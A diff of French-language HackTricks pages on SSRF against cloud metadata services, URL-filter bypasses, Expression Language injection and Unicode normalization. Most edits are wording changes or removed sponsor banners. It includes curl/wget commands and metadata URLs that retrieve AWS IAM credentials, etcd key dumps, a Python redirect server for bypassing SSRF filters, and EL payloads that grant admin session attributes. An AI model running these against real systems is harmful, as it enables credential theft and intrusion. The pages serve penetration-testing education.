Vous pourriez être en mesure de le lire en exploitant un **Path Traversal** vers `file:///proc/self/environ`\
|
Vous pourriez être en mesure de le lire en exploitant un **Path Traversal** vers `file:///proc/self/environ`\
|
||||||
|
@ -125,7 +117,7 @@ L'adresse http mentionnée devrait vous donner la **AccessKey, SecretKey et toke
|
||||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Notez que dans **certains cas**, vous pourrez accéder aux **métadonnées de l'instance EC2** depuis le conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, depuis le conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM de l'EC2.
|
Notez que dans **certains cas**, vous pourrez accéder aux **métadonnées de l'instance EC2** depuis le conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, depuis le conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM EC2.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### SSRF pour AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
### SSRF pour AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
|
||||||
|
@ -141,7 +133,7 @@ Le **nom** des **variables d'environnement intéressantes** est :
|
||||||
De plus, en plus des identifiants IAM, les fonctions Lambda ont également **des données d'événement qui sont transmises à la fonction lorsqu'elle est démarrée**. Ces données sont mises à disposition de la fonction via l'[interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux identifiants IAM, ces données sont accessibles via SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
De plus, en plus des identifiants IAM, les fonctions Lambda ont également **des données d'événement qui sont transmises à la fonction lorsqu'elle est démarrée**. Ces données sont mises à disposition de la fonction via l'[interface d'exécution](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) et pourraient contenir des **informations sensibles** (comme à l'intérieur des **stageVariables**). Contrairement aux identifiants IAM, ces données sont accessibles via SSRF standard à **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Notez que les **identifiants lambda** se trouvent dans les **variables d'environnement**. Donc, si la **trace de la pile** du code lambda imprime des variables d'environnement, il est possible de **les exfiltrer en provoquant une erreur** dans l'application.
|
Notez que les **identifiants lambda** se trouvent à l'intérieur des **variables d'environnement**. Donc, si la **trace de pile** du code lambda imprime des variables d'environnement, il est possible de **les exfiltrer en provoquant une erreur** dans l'application.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### SSRF URL pour AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
### SSRF URL pour AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
|
||||||
|
@ -151,7 +143,7 @@ Nous récupérons le `accountId` et la `region` depuis l'API.
|
||||||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||||
```
|
```
|
||||||
Nous récupérons ensuite le `AccessKeyId`, `SecretAccessKey` et `Token` depuis l'API.
|
Nous récupérons ensuite l'`AccessKeyId`, le `SecretAccessKey` et le `Token` à partir de l'API.
|
||||||
```
|
```
|
||||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||||
```
|
```
|
||||||
|
@ -398,7 +390,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||||
|
|
||||||
### Azure App Service
|
### Azure App Service
|
||||||
|
|
||||||
Depuis **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Que vous pouvez utiliser pour obtenir un jeton afin de communiquer avec le serveur de métadonnées.
|
À partir de **env**, vous pouvez obtenir les valeurs de `IDENTITY_HEADER` _et_ `IDENTITY_ENDPOINT`. Que vous pouvez utiliser pour obtenir un jeton afin de communiquer avec le serveur de métadonnées.
|
||||||
|
|
||||||
La plupart du temps, vous voulez un jeton pour l'une de ces ressources :
|
La plupart du temps, vous voulez un jeton pour l'une de ces ressources :
|
||||||
|
|
||||||
|
@ -543,7 +535,7 @@ Alibaba offre des points de terminaison pour accéder aux métadonnées, y compr
|
||||||
|
|
||||||
## Kubernetes ETCD
|
## Kubernetes ETCD
|
||||||
|
|
||||||
Kubernetes ETCD peut contenir des clés API, des adresses IP internes et des ports. L'accès est démontré par :
|
Kubernetes ETCD peut contenir des clés API, des adresses IP internes et des ports. L'accès est démontré via :
|
||||||
|
|
||||||
* `curl -L http://127.0.0.1:2379/version`
|
* `curl -L http://127.0.0.1:2379/version`
|
||||||
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||||||
|
@ -564,23 +556,17 @@ Les métadonnées de Rancher peuvent être accessibles en utilisant :
|
||||||
|
|
||||||
* `curl http://rancher-metadata/<version>/<path>`
|
* `curl http://rancher-metadata/<version>/<path>`
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,20 @@
|
||||||
# URL Format Bypass
|
# URL Format Bypass
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### Localhost
|
### Localhost
|
||||||
```bash
|
```bash
|
||||||
# Localhost
|
# Localhost
|
||||||
|
@ -170,11 +162,11 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||||
```
|
```
|
||||||
### Fuzzing
|
### Fuzzing
|
||||||
|
|
||||||
L'outil [**recollapse**](https://github.com/0xacb/recollapse) peut générer des variations à partir d'une entrée donnée pour essayer de contourner l'expression régulière utilisée. Consultez [**cet article**](https://0xacb.com/2022/11/21/recollapse/) également pour plus d'informations.
|
L'outil [**recollapse**](https://github.com/0xacb/recollapse) peut générer des variations à partir d'une entrée donnée pour essayer de contourner l'expression régulière utilisée. Consultez [**ce post**](https://0xacb.com/2022/11/21/recollapse/) également pour plus d'informations.
|
||||||
|
|
||||||
### Bypass via redirect
|
### Bypass via redirect
|
||||||
|
|
||||||
Il est possible que le serveur **filtre la requête originale** d'un SSRF **mais pas** une possible **réponse de redirection** à cette requête.\
|
Il est possible que le serveur **filtre la requête originale** d'un SSRF **mais pas** une possible réponse de **redirect** à cette requête.\
|
||||||
Par exemple, un serveur vulnérable au SSRF via : `url=https://www.google.com/` pourrait **filtrer le paramètre url**. Mais si vous utilisez un [serveur python pour répondre avec un 302](https://pastebin.com/raw/ywAUhFrv) à l'endroit où vous souhaitez rediriger, vous pourriez être en mesure d'**accéder à des adresses IP filtrées** comme 127.0.0.1 ou même à des **protocoles** filtrés comme gopher.\
|
Par exemple, un serveur vulnérable au SSRF via : `url=https://www.google.com/` pourrait **filtrer le paramètre url**. Mais si vous utilisez un [serveur python pour répondre avec un 302](https://pastebin.com/raw/ywAUhFrv) à l'endroit où vous souhaitez rediriger, vous pourriez être en mesure d'**accéder à des adresses IP filtrées** comme 127.0.0.1 ou même à des **protocoles** filtrés comme gopher.\
|
||||||
[Consultez ce rapport.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
[Consultez ce rapport.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||||
```python
|
```python
|
||||||
|
@ -197,15 +189,15 @@ self.end_headers()
|
||||||
|
|
||||||
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||||
```
|
```
|
||||||
## Tricks Expliqués
|
## Tricks expliqués
|
||||||
|
|
||||||
### Astuce du Backslash
|
### Astuce du backslash
|
||||||
|
|
||||||
L'_astuce du backslash_ exploite une différence entre le [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) et [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Alors que RFC3986 est un cadre général pour les URI, WHATWG est spécifique aux URL web et est adopté par les navigateurs modernes. La distinction clé réside dans la reconnaissance par la norme WHATWG du backslash (`\`) comme équivalent au slash (`/`), ce qui impacte la façon dont les URL sont analysées, marquant spécifiquement la transition du nom d'hôte au chemin dans une URL.
|
L'_astuce du backslash_ exploite une différence entre le [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) et [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Alors que RFC3986 est un cadre général pour les URI, WHATWG est spécifique aux URL web et est adopté par les navigateurs modernes. La distinction clé réside dans la reconnaissance par la norme WHATWG du backslash (`\`) comme équivalent au slash (`/`), ce qui impacte la façon dont les URL sont analysées, marquant spécifiquement la transition du nom d'hôte au chemin dans une URL.
|
||||||
|
|
||||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||||
|
|
||||||
### Autres Confusions
|
### Autres confusions
|
||||||
|
|
||||||
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (600).png>)
|
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (600).png>)
|
||||||
|
|
||||||
|
@ -216,15 +208,10 @@ image de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-co
|
||||||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -15,23 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
## Bsic Info
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
Le langage d'expression (EL) est essentiel dans JavaEE pour relier la couche de présentation (par exemple, les pages web) et la logique applicative (par exemple, les beans gérés), permettant leur interaction. Il est principalement utilisé dans :
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les détournements de compte et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à l'adresse suivante :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Informations de base
|
|
||||||
|
|
||||||
Le langage d'expression (EL) est essentiel dans JavaEE pour faire le lien entre la couche de présentation (par exemple, les pages web) et la logique applicative (par exemple, les beans gérés), permettant leur interaction. Il est principalement utilisé dans :
|
|
||||||
|
|
||||||
* **JavaServer Faces (JSF)** : Pour lier les composants UI aux données/actions backend.
|
* **JavaServer Faces (JSF)** : Pour lier les composants UI aux données/actions backend.
|
||||||
* **JavaServer Pages (JSP)** : Pour l'accès et la manipulation des données au sein des pages JSP.
|
* **JavaServer Pages (JSP)** : Pour l'accès et la manipulation des données au sein des pages JSP.
|
||||||
|
@ -40,7 +26,7 @@ Le langage d'expression (EL) est essentiel dans JavaEE pour faire le lien entre
|
||||||
**Contextes d'utilisation** :
|
**Contextes d'utilisation** :
|
||||||
|
|
||||||
* **Spring Framework** : Appliqué dans divers modules comme la sécurité et les données.
|
* **Spring Framework** : Appliqué dans divers modules comme la sécurité et les données.
|
||||||
* **Utilisation générale** : Via l'API SpEL par des développeurs dans des langages basés sur la JVM comme Java, Kotlin et Scala.
|
* **Utilisation générale** : Via l'API SpEL par les développeurs dans des langages basés sur la JVM comme Java, Kotlin et Scala.
|
||||||
|
|
||||||
L'EL est présent dans les technologies JavaEE, les environnements autonomes, et reconnaissable par les extensions de fichiers `.jsp` ou `.jsf`, les erreurs de pile, et des termes comme "Servlet" dans les en-têtes. Cependant, ses fonctionnalités et l'utilisation de certains caractères peuvent dépendre de la version.
|
L'EL est présent dans les technologies JavaEE, les environnements autonomes, et reconnaissable par les extensions de fichiers `.jsp` ou `.jsf`, les erreurs de pile, et des termes comme "Servlet" dans les en-têtes. Cependant, ses fonctionnalités et l'utilisation de certains caractères peuvent dépendre de la version.
|
||||||
|
|
||||||
|
@ -48,7 +34,7 @@ L'EL est présent dans les technologies JavaEE, les environnements autonomes, et
|
||||||
Selon la **version de l'EL**, certaines **fonctionnalités** peuvent être **activées** ou **désactivées** et généralement certains **caractères** peuvent être **interdits**.
|
Selon la **version de l'EL**, certaines **fonctionnalités** peuvent être **activées** ou **désactivées** et généralement certains **caractères** peuvent être **interdits**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Exemple de base
|
## Basic Example
|
||||||
|
|
||||||
(Vous pouvez trouver un autre tutoriel intéressant sur l'EL à [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
|
(Vous pouvez trouver un autre tutoriel intéressant sur l'EL à [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
|
||||||
|
|
||||||
|
@ -59,7 +45,7 @@ Téléchargez depuis le dépôt [**Maven**](https://mvnrepository.com) les fichi
|
||||||
* `commons-logging-1.2.jar`
|
* `commons-logging-1.2.jar`
|
||||||
* `spring-expression-5.2.1.RELEASE.jar`
|
* `spring-expression-5.2.1.RELEASE.jar`
|
||||||
|
|
||||||
Et créez le fichier suivant `Main.java` :
|
Et créez le fichier `Main.java` suivant :
|
||||||
```java
|
```java
|
||||||
import org.springframework.expression.Expression;
|
import org.springframework.expression.Expression;
|
||||||
import org.springframework.expression.ExpressionParser;
|
import org.springframework.expression.ExpressionParser;
|
||||||
|
@ -226,7 +212,7 @@ ${sessionScope.toString()}
|
||||||
```bash
|
```bash
|
||||||
${pageContext.request.getSession().setAttribute("admin", true)}
|
${pageContext.request.getSession().setAttribute("admin", true)}
|
||||||
```
|
```
|
||||||
L'application peut également utiliser des variables personnalisées telles que :
|
L'application peut également utiliser des variables personnalisées comme :
|
||||||
```bash
|
```bash
|
||||||
${user}
|
${user}
|
||||||
${password}
|
${password}
|
||||||
|
@ -243,18 +229,6 @@ Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
||||||
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
|
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares volants d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -9,27 +9,13 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
**Ceci est un résumé de :** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Consultez pour plus de détails (images prises de là).
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
**Ceci est un résumé de :** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Consultez-le pour plus de détails (images prises là-bas).
|
|
||||||
|
|
||||||
## Comprendre Unicode et Normalisation
|
## Comprendre Unicode et Normalisation
|
||||||
|
|
||||||
|
@ -70,7 +56,7 @@ Autre **exemple** : `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9
|
||||||
|
|
||||||
Imaginez une page web qui utilise le caractère `'` pour créer des requêtes SQL avec l'entrée de l'utilisateur. Ce web, comme mesure de sécurité, **supprime** toutes les occurrences du caractère **`'`** de l'entrée de l'utilisateur, mais **après cette suppression** et **avant la création** de la requête, il **normalise** l'entrée de l'utilisateur en utilisant **Unicode**.
|
